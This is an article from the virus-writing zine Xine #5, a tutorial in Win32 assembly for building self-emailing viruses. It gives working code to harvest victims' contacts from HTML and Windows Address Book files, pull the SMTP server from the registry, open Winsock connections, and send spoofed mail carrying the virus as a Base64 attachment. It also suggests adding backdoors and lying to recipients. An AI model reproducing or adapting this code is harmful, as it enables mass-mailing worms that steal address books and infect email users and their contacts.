ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Xine - issue #5 - Phile 111 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Self-Emailing viruses with SMTP usage of sockets/deal with SMTP servers Firstly i must thank to some people that made possible this article with their codes, tutes, advices or simply frienship:LifeWire/iKX, Bumblebee/29A, T-2000/IR, StarZer0/iKX,Asmodeus/iKX and GriYo/29A. The article comes now :P ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Introduction ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ As you have realized, the new threat of today are the viruses that have any network abilities, like mail themselves around the net, or have some tricky scripts for IRC clients for DCC themselves (like my Win32.Thorin), or the viruses that can add plugins taken from somewhere in the net (Vecna's Win9x.Babylonia). I'm gonna isolate the part of self-emailing viruses. I know there are some articles about this same matter, but i'm gonna go deeper in the SMTP method, because it's the most reliable, stealthy, low-level and cool one of all :) But, first of all, we must know if we're connected. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Check if we're connected ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ This is really simple, as we've got an API that does the work for us. Its name is InternetGetConnectedState, from WININET.DLL. GriYo named it in his networking article, but he didn't said how it works. And it's not in the API reference guide, so here you have it's usage: push 00h ; Null call $+9 ; Pointer to somewhere that dd 00000000h ; is 0 call InternetGetConnectedState If EAX is TRUE (1), we're connected. Otherwise, if it's FALSE (0), we're not ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Getting e-mail addresses ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ There're several methods to use, like send mails to the unreplied mails, send mails to the addresses found in the newsgroups, take the e-mails from the webpages the user sees,take'em from the WAB files, and many others. I'm gonna explain the easiest (but effective) ones, the last two. a) Taking e-mails from HTM* files This one is really very easy. As you know, we can put e-mail addresses in web files, for example, a webmaster puts his/her address for answer doubts, and such. In the HTML code, the e-mail addresses come after a '"mailto:' directive, so we have just to scan the HTM* file for that. For example, the following routine (from my Win32.Forever) will search for such directive, and will place the whole e- mail found into a desired place... the only we need to have is the HTM* file in memory (mapped if you want, but it's not a requeriment): GetMailAddressFromHTML: ; input: ; ECX = Size of code where search (ussually HTM* file size) ; ESI = Pointer to HTML code (in memory) where search ; EDI = Pointer to where store e-mail (if found) ; output: ; CF = Set if no e-mails found seekit:cmp dword ptr [esi],'iam"' ; Search for '"mailto:' string jnz ckuf ; Maybe we got it... cmp dword ptr [esi+4],":otl" jz librty ckuf: inc esi ; Or not :( skream:loop seekit ; Loop till the limit stc ; Signalize the error ret librty:lea esi,[esi+8] ; ESI points to the email cpmail:lodsb ; Put it in the variable :) stosb cmp al,'"' ; email is till '"' jnz cpmail mov byte ptr [edi-1],00h ; Make null the last '"' clc ; Away without error... ret The only thing you can miss of all this is... where take the HTM* files? Micro$oft brings us the easiest soulutions... we can do two things: what i do in my Win32.Forever is to search in the whole HD for HTM* files, also in the Explorer personal folder; the other way is to look there directly. We can do that by means of a registry key that gives us the location of such folder. The key is the following one (in HKEY_LOCAL_MACHINE): Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders and the value to request is 'Personal'. As i suppose, you know how to handle Windows registry :) b) Taking e-mails from WAB (Windows Address Book) files: Outlook provides us a nice tool, where we can have the address of all our friends, family, etc., called Address Book. This program produces an output file, with the extension .WAB where we can found all those e-mail addresses, with names, and some more info. LifeWire/iKX was who used this in low-level code, in Win32 asm. A greet fly here to him :) Well, there are just two fileds of the WAB file that we should know: the pointer to the addresses and how many e-mails are stored. +60h is the pointer, and +64h is the number of addresses. Do you want code? Here you have. ; we have the file mapped, and the map address is at ESI [...] mov ecx,dword ptr [esi+64h] ; Number of addresses jecxz no_email_found ; imagine :) add esi,dword ptr [esi+60h] ; Pointer in mem to them gimme_some_lovin: pushad ; NOTE : In Outlook 5.5 (and possible future versions) the e-mail is stored ; in unicode format, so we've got to convert it. For check if it's UNI, it's ; simple: just see if the second byte of the string is a 0. cmp byte ptr [eax+1],00h jnz not_unicode ; We convert here the string to ASCIIz. xchg esi,eax ; Setup registers for the lea edi,[ebp+email] ; conversion push edi uni2asciiz: movsb ; Convert UNI to ASCIIz dec edi cmpsb jnz uni2asciiz add [esp.1Ch],24h ; We need to add 48h pop esi ; Here we've the ASCIIz email ; In ESI we have the pointer to an e-mail address, so do the appropiate :) not_unicode: push 00h ; Show address in a msgbox call o_msg db "E-MAIL FOUND",0 ; some silly title o_msg: push esi ; Push address push 00h call MessageBoxA popad add esi,24h ; Get a pointer to next loop gimme_some_lovin no_email_found: [...] email db 128 dup (?) [...] The WAB files can be reached also with 2 ways: searching the whole HD for them (hardcore, i know, but i did it ;)) or get the directory where they r, that is in a registry key inside HKEY_CURRENT_USER or HKEY_USERS: Software\Microsoft\WAB\WAB4\Wab File Name and put NULL as the value to request, because it's "(default)". It'll return exactly the path of the file (address book) of the current user. Well,now we know the easiest ways for getting e-mail addresses where send our virus/i-worm. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Dealing with SMTP server names ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ The next thing is to get a reliable SMTP server name for connect. We have 2 options: find the one the infected guy uses, in the registry, or use some hardcoded ones. I recommend the first one, but i know some cases of people that doesn't have a POP mail, but they have a Hotmail one. So,it'd be a good idea to include both methods: if the first one fails, just use the second. I'm gonna explain where we have to find, in the registry, the name of a SMTP server... with some code (original by T-2000/IR, with some changes by me): ; EBP is assumed to be delta offset lea edi,[ebp+RegHandle] mov eax,edi ; preserve pointer in EDI push eax push 01h ; KEY_QUERY_VALUE push 00h call o_1 db "Software\Microsoft\Internet Account Manager",0 o_1: push 80000001h ; HKEY_CURRENT_USER call RegOpenKeyExA or eax,eax jnz reg_error call o_2 dd 00000009h ; Copy 9 chars o_2: lea eax,[ebp+AccountIdx] ; Where put the new info push eax push 00h push 00h call o_3 db "Default Mail Account",0 o_3: push dword ptr [ebp+RegHandle] call RegQueryValueExA or eax,eax jnz reg_error push dword ptr [ebp+RegHandle] call RegCloseKey push edi push 01h ; KEY_QUERY_VALUE push 00h call o_4 db "Software\Microsoft\Internet Account Manager\Accounts\" AccountIdx db "00000000",0 o_4: push 80000001h ; HKEY_CURRENT_USER call RegOpenKeyExA or eax,eax jnz reg_error call o_5 dd 00000030d ; Copy 30 chars o_5: lea eax,[ebp+SMTPName] ; Where put the new value push eax push 00h push 00h call o_6 db "SMTP Server",0 o_6: push dword ptr [ebp+RegHandle] call RegQueryValueExA or eax,eax jnz reg_error push dword ptr [ebp+RegHandle] call RegCloseKey [...] SMTPName db 30d dup (?) RegHandle dd ? [...] So, there it is. In SMTPName variable we have the name of the SMTP server we've got to use. We can use also any SMTP server by putting its name direc- tly without those weird registry manipulations, so if the registry thing fails, we've got another chance, but it's more difficult. We must hardcode a SMTP server name, but we've got a big problem: the great majority of SMTP servers only admit the users that are with the account of such ISP to send mails. If you try another SMTP server you'll probably get the 'Relaying Denied' error while putting 'RCPT TO'. So your chance is to find a server that admits relaying, but it's so hard... Nowadays is strange to find one of those ones :( That's all. Now that we've got (hopefully) the SMTP server name, let's see how to connect :) ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Preparations: Connect to the SMTP server ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Well, now it's assumed we've got the name of a SMTP server, so let's prepare the desired connection. First of all, we must tell Windows that we're going to use the sockets, and check the version of wsocks, that must be 1.1. For do so, we must use WSAStartup api. Let's see what SDK says about that api: ----------------------------------------------------------------------- int WSAStartup( WORD wVersionRequested, LPWSADATA lpWSAData ); wVersionRequested: The highest version of Windows Sockets support that the caller can use. The high-order byte specifies the minor version (revision) number; the low-order byte specifies the major version number. lpWSAData: A pointer to the WSADATA data struct. that is to receive details of the Windows Sockets implementation. ----------------------------------------------------------------------- WSAStartup must return NULL,otherwise we've got an error. With all this, the code for initialize the wsocks is the following: lea eax,[ebp+WSA_data] push eax ; lpWSAData push 00000101h ; wVersionRequested call WSAStartup or eax,eax ; Check the return value jnz exit_routine ; If eax!=0, error. Well, maybe you're wondering what the fuck is that WSADATA structure. Let me bright your head. WSADATA struc mVersion dw ? mHighVersion dw ? szDescription db 257 dup (?) szSystemStatus db 129 dup (?) iMaxSockets dw ? iMaxUpdDg dw ? lpVendorInfo dd ? WSADATA ends If you want more info about the fields of this structure, take a look to Win32SDK, in WSAStartup API description. We'll only care about mVersion value, that should be 101h. cmp word ptr [ebp+WSA_data.mVersion],101h jnz do_cleanup If we pass through this checks, we're supposed to be able to open a socket, so let's go. We do it with the socket api. Let's see its SDK description: ----------------------------------------------------------------------- SOCKET socket ( INT af, INT type, INT protocol ); af: An address format specification. type: A type specification for the new socket. protocol: A particular protocol to be used with the socket, or zero if the caller does not wish to specify a protocol. +If the function succeeds, socket returns a descriptor referencing the new socket. +If the function fails, a value of INVALID_SOCKET is returned. To get extended error information, call WSAGetLastError. ----------------------------------------------------------------------- The values that we must put for make a typical connection are: af = 2 = AF_INET type = 1 = SOCK_STREAM protocol = 0 = PCL_NONE So, the code for open the socket is clear. It's the following one: push 00h ; PCL_NONE push 01h ; SOCK_STREAM push 02h ; AF_INET call socket ; Open the socket mov dword ptr [ebp+SocketHandle],eax; Preserve it inc eax ; If EAX=-1, then we've got jz do_cleanup ; an error, so cleanup socks. Now that we've got an opened socket, we've got to connect. For that purpose we need to fill another structure, SOCKADDR. I'm gonna use here the version that my friend Bumblebee made for his article in 29A#4, coz it's more simple than the one in winsock.h SOCKADDR struc sin_family dw ? sin_port dw ? sin_addr dd ? sin_zero db 8 dup (?) SOCKADDR ends Ok, let's see how to fill it. Firstly, sin_family must be AF_INET, so: mov word ptr [ebp+saddr.sin_family],02h ; AF_INET Now we've got to fill sin_port. We must use a special format, called network byte order. We can put here many different ports: 21 for FTP, 25 for SMTP, 80 for HTTP, 6667 for IRC, 1080 or 8080 for Wingates (depends of the kind), etc. As we want to connect to a SMTP server, we must put the port 25. And how can we convert that 25 into network byte order? Simple, there's an API that does that for us: htons. The function is so simple, so i'm not gonna paste its description. Just take a look to the code: push 25 ; SMTP port call htons ; Convert to netw byte order mov word ptr [ebp+saddr.sin_port],ax ; The result is a word Now comes the last part of this: we've to fill sin_addr field. We can arrive here from many ways, depending of the information we have. For example, if we have an IP in this format "123.45.67.89", we have to use inet_addr API for convert it. But in this example, we've got something like this string: "smtp.server.com", so we've got to use another API for convert that name to something we can use. We've got the API gethostbyname for that purposes. Its usage is also very simple: lea eax,[ebp+SMTP_server_name] push eax ; Ptr to SMTP server name call gethostbyname ; Convert or eax,eax ; If EAX=0 there was an error jz close_socket This function returns us a pointer in EAX to a structure called HOSTENT. You can't modify it, moreover,you must use this fields before calling in another thread, for example, this API. Here u have it: HOSTENT struc h_name dd ? h_aliases dd ? h_addrtype dw ? h_lenght dw ? h_addr_list dd ? h_ip dd ? HOSTENT ends We need the IP, that is in network byte order. It is pointed by h_ip, so we need to retrieve it with the following code (or similar): mov esi,dword ptr [eax+hostent.h_ip] ; Get in EAX the ptr lodsd ; Put the value in EAX So, if we arrived here that's all. We've only to fill the field on SOCKADDR: mov dword ptr [ebp+saddr.sin_addr],eax And the only thing that we've to do now is to connect. This is done by means of an API called (how original) connect. Let's see its SDK description: ----------------------------------------------------------------------- INT connect ( SOCKET s, CONST STRUCT SOCKADDR FAR *name, INT namelen ); s: A descriptor identifying an unconnected socket. name : The name of the peer to which the socket is to be connected. namelen : The length of the name. + If no error occurs, connect returns zero. + Otherwise, it returns SOCKET_ERROR, and a specific error code may be retrieved by calling WSAGetLastError. ----------------------------------------------------------------------- So, the way of calling it with ASM code is this one: push size SOCKADDR ; This is constant(thnx bbbee) lea eax,[ebp+saddr] push eax ; Push a ptr to SOCKADDR struc push dword ptr [ebp+SocketHandle] ; Push socket where connect call connect inc eax ; If EAX=-1 there was an error jz close_socket Well, now we're sure... WE'RE CONNECTED! Well, the code that should follow here is in the next chapter, the SMTP client itself. Now i'm gonna put here some simple apis, the ones used for close all this. First, closesocket: close_socket: push dword ptr [ebp+SocketHandle] ; Socket to close call closesocket and just after it, we log out wsocks usage, with WSACleanup: do_cleanup: call WSACleanup ; No need of parameters That's all. Now comes the interesting part of the article. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ The SMTP (Simple Mail Transfer Protocol) client ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Yeah, now that we're already with all the stuff done, with port 25 and such, and connected, we need to send the e-mail. First of all, we need some functions: one for send information, and another for receive it. The socks provide us two APIs for such target, that are send and recv (names are self- explanatory, i think). They are just the equivalent to _lread and _lwrite in files, but for sockets.Two probable functions for socket I/O in your code could be: _send: ; input: ; ECX = Size of data to send ; ESI = Pointer to the data to send ; output: ; EAX = If successful, the number of bytes sent, otherwise, -1. push 00h push ecx ; Bytes to send push esi ; What send push dword ptr [ebp+SocketHandle] ; What socket call send ret _recv: ; input: ; Nothing. ; output: ; EAX = If successful, the 4 first bytes received, otherwise, 0. push 00h push 04h ; Bytes to receive (a dword) lea eax,[ebp+where_recv] push eax ; Where receive push dword ptr [ebp+SocketHandle] ; What socket call recv inc eax ; Test if error (-1) jz recv_err cmp eax,5 jnz recv_err get1mo: push 00h push 01h ; Bytes to receive (a byte) call $+6 mugrix db 00h ; Received here :) push dword ptr [ebp+SocketHandle] ; What socket call recv cmp byte ptr [ebp+mugrix],0Ah ; Till find this jnz get1mo db 0B8h ; EAX = The dword received where_recv dd ? ret recv_err: xor eax,eax ret Now that we've defined the I/O functions, we've got to send the appropiate data to the SMTP server for being able to send our "gift" by e-mail ;) * NOTE: We must send all this commands followed -only- by a CRLF * First we must send the HELO command, followed by our supposed host. Be careful here, there're some server that checks the host. For getting the host, just use the api gethostname (the parameter is a ptr to the buffer when you want to put the host name). For example: HELO servername.com So, with our _recv function, we should test for the presence of that 220. As easy as cmp eax," 022". If it doesn't matches, something went wrong. Now we should send something like: MAIL FROM: any_address@any_server.com This field could be invented, but beware of it, coz some servers check for the presence of the domain. If you want your mail to be from Microsoft, your government, or from Saddam Hussein, there ain't any problem :) Now, we call again _recv, and check for 250 again. If not, you know what to do :) Well, if everything went as we want to, we send the following shit: RCPT TO: target_addr@his_server.com Instead that address, you must put the address found by any of the methods available (see the first part of this tute).Well, we have to expect 250 from _recv again. Now that we've done so, we must dent a simple: DATA And expect a 354 (cmp eax, " 453"). Now we must put some datas, but without waiting for a response of the server. We must build the headers present in the normal e-mails (for spoof, if u want). FROM: Spoofed Sucker TO: Pathetic Victim SUBJECT: This is the subject of the e-mail Here you can put the text you want to be shown to the receiver of the e-mail (lie him a bit, please :P). For finishing the e-mail, and force the SMTP server to deliver it, just put a simple dot. For example: I love you, it hurts :) . And after we should close the session, and this is done (how not) with the command: QUIT So, in a simple brief, the relation of things we must do is as following: HELO server.com (+CRLF) [ expect server answer ] MAIL FROM: sender@domain.com (+CRLF) [ expect server answer ] RCPT TO: victim@domain.com (+CRLF) [ expect server answer ] DATA (+CRLF) [ expect server answer ] FROM: Sender TO: Victim SUBJECT: Bla This is an e-mail . QUIT (+CRLF) But,wait a minute! We want to send attachments, no? This leads us to another chapter... ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ MIME (Multipurpose Internet Mail Extensions) & BASE64 encoding ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ MIME is the name given to the internet standard format used mainly for deliver e-mails with files attached. It consist in a bunch of headers, and some variated info on them. But how we can send a file trough e-mail? It must be encoded. There're several methods for doing that, but we'll use here the BASE64 encoding algorithm. As i don't want this chapter to be so... ehrm... "boring", i'll put almost everything in examples. This is how looks a MIME message: ----------------------------------------------------------------------- MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_01BDE2FC.8B286C00" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 ------=_NextPart_000_0005_01BDE2EC.8B286C00 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Put here whatever you want, bla bla ------=_NextPart_000_0005_01BDE2EC.8B286C00 Content-Type: application/octet-stream; name=filename.exe Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="filename.exe" Here would come BASE64 encoded file. ----------------------------------------------------------------------- So, the only thing you need to know apart from this is how to encode using a base64 algorithm, for being able to send files with our e-mails. Okay, i will show you the best piece of code i've seen for such matter: Bumblebee's one. I've optimized it a bit, but its behavior is the same. Here you have: input: EAX = Address of data to encode EDX = Address to put encoded data ECX = Size of data to encode output: ECX = size of encoded data * NOTE: The size of the data to encode MUST BE padded to 3!! * and here's the routine :) encodeBase64: xor esi,esi ; encodeBase64 by Bumblebee. All rights reserved ;) call over_enc_table db "ABCDEFGHIJKLMNOPQRSTUVWXYZ" db "abcdefghijklmnopqrstuvwxyz" db "0123456789+/" over_enc_table: pop edi push ebp xor ebp,ebp baseLoop: movzx ebx,byte ptr [eax] shr bl,2 and bl,00111111b mov bh,byte ptr [edi+ebx] mov byte ptr [edx+esi],bh inc esi mov bx,word ptr [eax] xchg bl,bh shr bx,4 mov bh,0 and bl,00111111b mov bh,byte ptr [edi+ebx] mov byte ptr [edx+esi],bh inc esi inc eax mov bx,word ptr [eax] xchg bl,bh shr bx,6 xor bh,bh and bl,00111111b mov bh,byte ptr [edi+ebx] mov byte ptr [edx+esi],bh inc esi inc eax xor ebx,ebx movzx ebx,byte ptr [eax] and bl,00111111b mov bh,byte ptr [edi+ebx] mov byte ptr [edx+esi],bh inc esi inc eax inc ebp cmp ebp,24 jna DontAddEndOfLine xor ebp,ebp ; add a new line mov word ptr [edx+esi],0A0Dh inc esi inc esi test al,00h ; Optimized (overlap rlz!) org $-1 DontAddEndOfLine: inc ebp sub ecx,3 or ecx,ecx jne baseLoop mov ecx,esi add edx,esi pop ebp ret Well, with all this you're able to send e-mails with something nice attached in them :) ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Suggestions ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ There are some things i'd recommend you to do when dealing with this kind of codes: þ Get some RFCs, they're very good references. In my web page (see end of this article for get the address) you can find #821, #822 (about SMTP protocol), #1459 (about IRC protocol) and #1521, #1522 (about MIME). þ Use intelligently some threads: make one with low priorities that awaits us to connect, and make another one with a time-limit of about 1 minute for avoid eternal sends (could happen) and high priorities, for the SMTP client itself. þ You could implement backdoor features, see Win32.Moridin for more info :) þ Make Denial Of Service attacks is not a good idea if you don't want to have all the FBI at your back... :) þ Be careful, if you want to distribute your networking virus, because this codes replicate so fastly and they can bring you some legal problems. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Final Words ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ I don't want to eternize this tutorial, so its end is being reached :) I hope that this little tute have helped you to code some interesting netw0rking stuff. For see all this stuff in action, you should take a look to my Win32.Forever of my I-Worm.Always. Greetings to all VXers around. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (c) Billy Belcebu/IKX [29/09/00] "i'm not a terrorist. i'm an artist" þ URL þ www.billybelcebu.org - www.beautifulpeople.cjb.net þ EMAIL þ billy_belcebu@mixmail.com - billy_belcebu@ikx4ever.org þ IRC þ irc-hispano #virus, undernet #virus #ikx